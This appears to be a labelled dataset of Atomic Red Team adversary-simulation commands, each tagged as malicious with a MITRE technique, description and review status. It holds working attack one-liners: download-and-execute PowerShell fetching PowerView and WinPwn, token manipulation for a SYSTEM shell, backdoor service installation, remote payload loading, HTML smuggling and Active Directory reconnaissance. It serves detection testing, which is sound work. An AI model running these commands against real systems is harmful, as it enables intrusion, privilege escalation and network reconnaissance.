""HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters"" /v ServiceDll /t REG_EXPAND_SZ /d ""%systemroot%\system32\w64time.dll"" /f sc start W64Time",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,TinyTurla backdoor service w64time,T1543.003,"[""T1543.003""]",windows,0.9,False,"It's running Dll as service to emulate the TinyTurla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73183334db2dfea6f3c52ac6,"sc stop W64Time sc.exe delete W64Time del %systemroot%\system32\w64time.dll reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost"" /v TimeService /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters"" /v ServiceDll /f","sc stop W64Time sc.exe delete W64Time del %systemroot%\system32\w64time.dll reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost"" /v TimeService /f reg delete ""HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters"" /v ServiceDll /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,TinyTurla backdoor service w64time,T1543.003,"[""T1543.003""]",windows,0.55,True,"It's running Dll as service to emulate the TinyTurla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91997c586146ae62a6580fb1,"sc.exe \\#{remote_host} create #{service_name} binPath= ""#{binary_path}"" start=#{startup_type} type=#{service_type} sc.exe \\#{remote_host} start #{service_name}","sc.exe \\#{remote_host} create #{service_name} binPath= ""#{binary_path}"" start=#{startup_type} type=#{service_type} sc.exe \\#{remote_host} start #{service_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Remote Service Installation CMD,T1543.003,"[""T1543.003""]",windows,0.9,False,"Download an executable from github and start it as a service on a remote endpoint
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
691edffc14cc63520c207b5a,sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1 sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1,sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1 sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Remote Service Installation CMD,T1543.003,"[""T1543.003""]",windows,0.55,True,"Download an executable from github and start it as a service on a remote endpoint
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11165ac26b2cebde499dada8,"Stop-Service -Name ""#{service_name}"" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name ""#{service_name}"" -path ""#{new_bin_path}"" start-service -Name ""#{service_name}"" -erroraction silentlycontinue | out-null","Stop-Service -Name ""#{service_name}"" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name ""#{service_name}"" -path ""#{new_bin_path}"" start-service -Name ""#{service_name}"" -erroraction silentlycontinue | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Modify Service to Run Arbitrary Binary (Powershell),T1543.003,"[""T1543.003""]",windows,0.9,False,"This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.
This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86e8a678ae12ffbd46ca0a49,"Stop-Service -Name ""#{service_name}"" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name ""#{service_name}"" -path ""#{original_bin_path}"" -erroraction silentlycontinue | out-null","Stop-Service -Name ""#{service_name}"" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name ""#{service_name}"" -path ""#{original_bin_path}"" -erroraction silentlycontinue | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Modify Service to Run Arbitrary Binary (Powershell),T1543.003,"[""T1543.003""]",windows,0.55,True,"This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.
This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9a9f26b61c44d596087a2e8,powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt},powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1654/T1654.yaml,Get-EventLog To Enumerate Windows Security Log,T1654,"[""T1654""]",windows,0.9,False,"Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.

This technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) 
where the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.

Successful execution will save matching log events to the users temp folder.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8fa1e0c6e618d94069bcde87,"powershell -c ""remove-item $env:temp\T1654_events.txt -ErrorAction Ignore""","powershell -c ""remove-item $env:temp\T1654_events.txt -ErrorAction Ignore""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1654/T1654.yaml,Get-EventLog To Enumerate Windows Security Log,T1654,"[""T1654""]",windows,0.55,True,"Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.

This technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) 
where the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.

Successful execution will save matching log events to the users temp folder.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87e423cab9b4229352b3146d,wevtutil enum-logs,wevtutil enum-logs,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1654/T1654.yaml,Enumerate Windows Security Log via WevtUtil,T1654,"[""T1654""]",windows,0.9,False,"WevtUtil is a command line tool that can be utilised by adversaries to gather intelligence on a targeted Windows system's logging infrastructure. 

By executing this command, malicious actors can enumerate all available event logs, including both default logs such as Application, Security, and System
as well as any custom logs created by administrators. 

This information provides valuable insight into the system's logging mechanisms, potentially allowing attackers to identify gaps or weaknesses",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d999bd7daf05fdb3c8e97832,"& ""PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html""","& ""PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.006/T1027.006.yaml,HTML Smuggling Remote Payload,T1027.006,"[""T1027.006""]",windows,0.9,False,"The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. 
The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ce88f3d9415e0d1385a63a1,$user = [System.Environment]::UserName; Remove-Item -Path C:\Users\$user\Downloads\FeelTheBurn.iso -ErrorAction Ignore,$user = [System.Environment]::UserName; Remove-Item -Path C:\Users\$user\Downloads\FeelTheBurn.iso -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.006/T1027.006.yaml,HTML Smuggling Remote Payload,T1027.006,"[""T1027.006""]",windows,0.55,True,"The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. 
The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3aba100ddce57e06da44f219,"cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost ""script:#{remote_payload}""","cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost ""script:#{remote_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1216.001/T1216.001.yaml,PubPrn.vbs Signed Script Bypass,T1216.001,"[""T1216.001""]",windows,0.9,False,"Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da5c6ca7ccac63529735de8e,"Set-ExecutionPolicy -Scope Process Bypass -Force $owners = @{} gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} Get-Process | Select ProcessName,Id,@{l=""Owner"";e={$owners[$_.id.tostring()]}} & ""$PathToAtomicsFolder\T1134.002\src\GetToken.ps1""; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,""cmd.exe"")","Set-ExecutionPolicy -Scope Process Bypass -Force $owners = @{} gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} Get-Process | Select ProcessName,Id,@{l=""Owner"";e={$owners[$_.id.tostring()]}} & ""$PathToAtomicsFolder\T1134.002\src\GetToken.ps1""; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,""cmd.exe"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.002/T1134.002.yaml,Access Token Manipulation,T1134.002,"[""T1134.002""]",windows,0.9,False,"This Action demonstrates how an access token for a specific program can spawn another program under a different owner. 
Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. 
This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68da36d1c872988d7e07ab00,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.002/T1134.002.yaml,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,T1134.002,"[""T1134.002""]",windows,0.9,False,Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e8d0f21ba0c890c5cf89f0e2,"""%PROGRAMFILES(x86)%/#{radmin_exe}""","""%PROGRAMFILES(x86)%/#{radmin_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1072/T1072.yaml,Radmin Viewer Utility,T1072,"[""T1072""]",windows,0.9,False,"An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0bc661df124df8a21403bae6,"""%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}""","""%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1072/T1072.yaml,PDQ Deploy RAT,T1072,"[""T1072""]",windows,0.9,False,"An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3c806484336504f1c238851,# Deploy 7-Zip using Chocolatey choco install -y 7zip,# Deploy 7-Zip using Chocolatey choco install -y 7zip,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1072/T1072.yaml,Deploy 7-Zip Using Chocolatey,T1072,"[""T1072""]",windows,0.9,False,"An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c75637e25642261631dc6d8a,"net localgroup net group /domain net group ""enterprise admins"" /domain net group ""domain admins"" /domain","net localgroup net group /domain net group ""enterprise admins"" /domain net group ""domain admins"" /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Basic Permission Groups Discovery Windows (Domain),T1069.002,"[""T1069.002""]",windows,0.9,False,"Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83a7cb34a624fdd615842da0,get-ADPrincipalGroupMembership #{user} | select name,get-ADPrincipalGroupMembership #{user} | select name,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Permission Groups Discovery PowerShell (Domain),T1069.002,"[""T1069.002""]",windows,0.9,False,"Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac2bc08f3d725b18431138ad,"net groups ""Account Operators"" /domain net groups ""Exchange Organization Management"" /domain net group ""BUILTIN\Backup Operators"" /domain net group ""Domain Admins"" /domain","net groups ""Account Operators"" /domain net groups ""Exchange Organization Management"" /domain net group ""BUILTIN\Backup Operators"" /domain net group ""Domain Admins"" /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Elevated group enumeration using net group (Domain),T1069.002,"[""T1069.002""]",windows,0.9,False,"Runs ""net group"" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fc3d217e475d0c1dd5b6960,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Find machines where user has local admin access (PowerView),T1069.002,"[""T1069.002""]",windows,0.9,False,"Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd07cd7f15d33e7425b8eb02,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Find local admins on all machines in domain (PowerView),T1069.002,"[""T1069.002""]",windows,0.9,False,"Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f83c5568a17e8786166d134e,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Find Local Admins via Group Policy (PowerView),T1069.002,"[""T1069.002""]",windows,0.9,False,"takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d7d353c926c9557307936cb,get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE},get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Enumerate Users Not Requiring Pre Auth (ASRepRoast),T1069.002,"[""T1069.002""]",windows,0.9,False,"When successful, accounts that do not require kerberos pre-auth will be returned
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00266cd9679bce58c7e597f6,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=group) #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=group) #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Adfind - Query Active Directory Groups,T1069.002,"[""T1069.002""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99d08c7666d23f788ece8b1d,Get-AdGroup -Filter *,Get-AdGroup -Filter *,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Enumerate Active Directory Groups with Get-AdGroup,T1069.002,"[""T1069.002""]",windows,0.9,False,"The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b0dd7fdb93c9cdd6ffe8b81,"([adsisearcher]""objectcategory=group"").FindAll(); ([adsisearcher]""objectcategory=group"").FindOne()","([adsisearcher]""objectcategory=group"").FindAll(); ([adsisearcher]""objectcategory=group"").FindOne()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Enumerate Active Directory Groups with ADSISearcher,T1069.002,"[""T1069.002""]",windows,0.9,False,"The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2abeab297572397f63b88e2d,Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name,Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting),T1069.002,"[""T1069.002""]",windows,0.9,False,"When successful, accounts that do not require kerberos pre-auth will be returned.
Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
47e54b2df8b5a65bb0f347a0,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember ""Domain Admins""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember ""Domain Admins""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Get-DomainGroupMember with PowerView,T1069.002,"[""T1069.002""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e1fc2b09b0e00be9474c376,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Get-DomainGroup with PowerView,T1069.002,"[""T1069.002""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b361bcda96ed3304ac28df7,ldifde.exe -f #{output_path}\#{output_file} -p subtree,ldifde.exe -f #{output_path}\#{output_file} -p subtree,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Active Directory Enumeration with LDIFDE,T1069.002,"[""T1069.002""]",windows,0.9,False,"Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9a63369b2bbd47895601b4d5,del #{output_path}\#{output_file},del #{output_path}\#{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Active Directory Enumeration with LDIFDE,T1069.002,"[""T1069.002""]",windows,0.55,True,"Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c00dd370f91f743317111d4,"ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b ""CN=Users,DC=#{domain},DC=#{top_level_domain}"" ""(objectClass=group)"" -s sub -a always -z 1000 dn","ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b ""CN=Users,DC=#{domain},DC=#{top_level_domain}"" ""(objectClass=group)"" -s sub -a always -z 1000 dn",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.002/T1069.002.yaml,Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS,T1069.002,"[""T1069.002""]",linux,0.9,False,"Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76cd178e73a4ab02d0c725ea,"$encodedString = ""WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="" $bytes = [System.Convert]::FromBase64String($encodedString) $decodedString = [System.Text.Encoding]::UTF8.GetString($bytes) #write the decoded eicar string to file $decodedString | Out-File T1027.013_decodedEicar.txt","$encodedString = ""WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="" $bytes = [System.Convert]::FromBase64String($encodedString) $decodedString = [System.Text.Encoding]::UTF8.GetString($bytes) #write the decoded eicar string to file $decodedString | Out-File T1027.013_decodedEicar.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.013/T1027.013.yaml,Decode Eicar File and Write to File,T1027.013,"[""T1027.013""]","windows,macos,linux",0.9,False,"Decode the eicar value, and write it to file, for AV/EDR to try to catch.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8949c06f5ebfc3d211123d7f,Just delete the resulting T1027.013_decodedEicar.txt file.,Just delete the resulting T1027.013_decodedEicar.txt file.,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.013/T1027.013.yaml,Decode Eicar File and Write to File,T1027.013,"[""T1027.013""]","windows,macos,linux",0.55,True,"Decode the eicar value, and write it to file, for AV/EDR to try to catch.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41e67dff67fb31e67fc858d5,Just delete the resulting T1027.013_decryptedEicar.txt file.,Just delete the resulting T1027.013_decryptedEicar.txt file.,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.013/T1027.013.yaml,Decrypt Eicar File and Write to File,T1027.013,"[""T1027.013""]","windows,macos,linux",0.55,True,"Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1ddf7286e625fb13f087317,"echo '#!/bin/bash' > /tmp/art_payload.sh echo 'echo ""T1027.013: Payload extracted from encrypted ZIP""' >> /tmp/art_payload.sh echo 'echo ""Hostname: $(hostname)""' >> /tmp/art_payload.sh echo 'echo ""User: $(whoami)""' >> /tmp/art_payload.sh echo 'uname -a' >> /tmp/art_payload.sh cd /tmp && zip -P ""#{zip_password}"" art_encrypted.zip art_payload.sh rm /tmp/art_payload.sh echo ""Encrypted ZIP created. Extracting with password..."" unzip -P ""#{zip_password}"" -o /tmp/art_encrypted.zip -d /tmp/ echo ""Executing extracted payload:"" bash /tmp/art_payload.sh","echo '#!/bin/bash' > /tmp/art_payload.sh echo 'echo ""T1027.013: Payload extracted from encrypted ZIP""' >> /tmp/art_payload.sh echo 'echo ""Hostname: $(hostname)""' >> /tmp/art_payload.sh echo 'echo ""User: $(whoami)""' >> /tmp/art_payload.sh echo 'uname -a' >> /tmp/art_payload.sh cd /tmp && zip -P ""#{zip_password}"" art_encrypted.zip art_payload.sh rm /tmp/art_payload.sh echo ""Encrypted ZIP created. Extracting with password..."" unzip -P ""#{zip_password}"" -o /tmp/art_encrypted.zip -d /tmp/ echo ""Executing extracted payload:"" bash /tmp/art_payload.sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.013/T1027.013.yaml,Password-Protected ZIP Payload Extraction and Execution,T1027.013,"[""T1027.013""]","linux,macos",0.9,False,"Extracts and executes a script from a password-protected ZIP archive.
This technique is commonly used by malware families like Emotet and QBot to deliver payloads
via email attachments where the password is provided in the message body.
The encrypted ZIP evades static file analysis until extracted at runtime.
Upon successful execution, displays confirmation and system information.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
